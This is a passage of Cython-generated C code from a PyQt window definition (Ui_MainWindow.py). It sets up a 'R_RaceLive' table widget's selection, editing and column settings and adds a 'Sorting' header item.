PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":719 * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # <<<<<<<<<<<<<< * self.R_RaceLive.setTabKeyNavigation(False) * self.R_RaceLive.setProperty("showDropIndicator", False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setEditTriggers); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_NoEditTriggers); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 719, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":720 * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 720, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setTabKeyNavigation); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 720, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__465, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 720, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":721 * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive.setTabKeyNavigation(False) * self.R_RaceLive.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.R_RaceLive.setDragDropOverwriteMode(False) * self.R_RaceLive.setAlternatingRowColors(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 721, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 721, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__466, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 721, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":722 * self.R_RaceLive.setTabKeyNavigation(False) * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.R_RaceLive.setAlternatingRowColors(True) * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 722, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setDragDropOverwriteMode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 722, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__467, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 722, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":723 * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) * self.R_RaceLive.setAlternatingRowColors(True) # <<<<<<<<<<<<<< * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 723, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAlternatingRowColors); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 723, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__468, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 723, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":724 * self.R_RaceLive.setDragDropOverwriteMode(False) * self.R_RaceLive.setAlternatingRowColors(True) * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) # <<<<<<<<<<<<<< * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive.setRowCount(0) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSelectionMode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_MultiSelection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 724, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":725 * self.R_RaceLive.setAlternatingRowColors(True) * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) # <<<<<<<<<<<<<< * self.R_RaceLive.setRowCount(0) * self.R_RaceLive.setColumnCount(7) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSelectionBehavior); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_SelectItems); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 725, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":726 * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive.setRowCount(0) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnCount(7) * self.R_RaceLive.setObjectName("R_RaceLive") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 726, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setRowCount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 726, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__469, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 726, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":727 * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive.setRowCount(0) * self.R_RaceLive.setColumnCount(7) # <<<<<<<<<<<<<< * self.R_RaceLive.setObjectName("R_RaceLive") * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 727, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setColumnCount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 727, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__470, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 727, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":728 * self.R_RaceLive.setRowCount(0) * self.R_RaceLive.setColumnCount(7) * self.R_RaceLive.setObjectName("R_RaceLive") # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 728, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 728, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__471, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 728, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":729 * self.R_RaceLive.setColumnCount(7) * self.R_RaceLive.setObjectName("R_RaceLive") * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setText("Sorting") * self.R_RaceLive.setHorizontalHeaderItem(0, item) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 729, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 729, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 729, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 729, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_item = __pyx_t_7; __pyx_t_7 = 0; /* "Ui_MainWindow.py":730 * self.R_RaceLive.setObjectName("R_RaceLive") * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 730, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__472, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 730, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":731 * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") * self.R_RaceLive.setHorizontalHeaderItem(0, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_0, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); 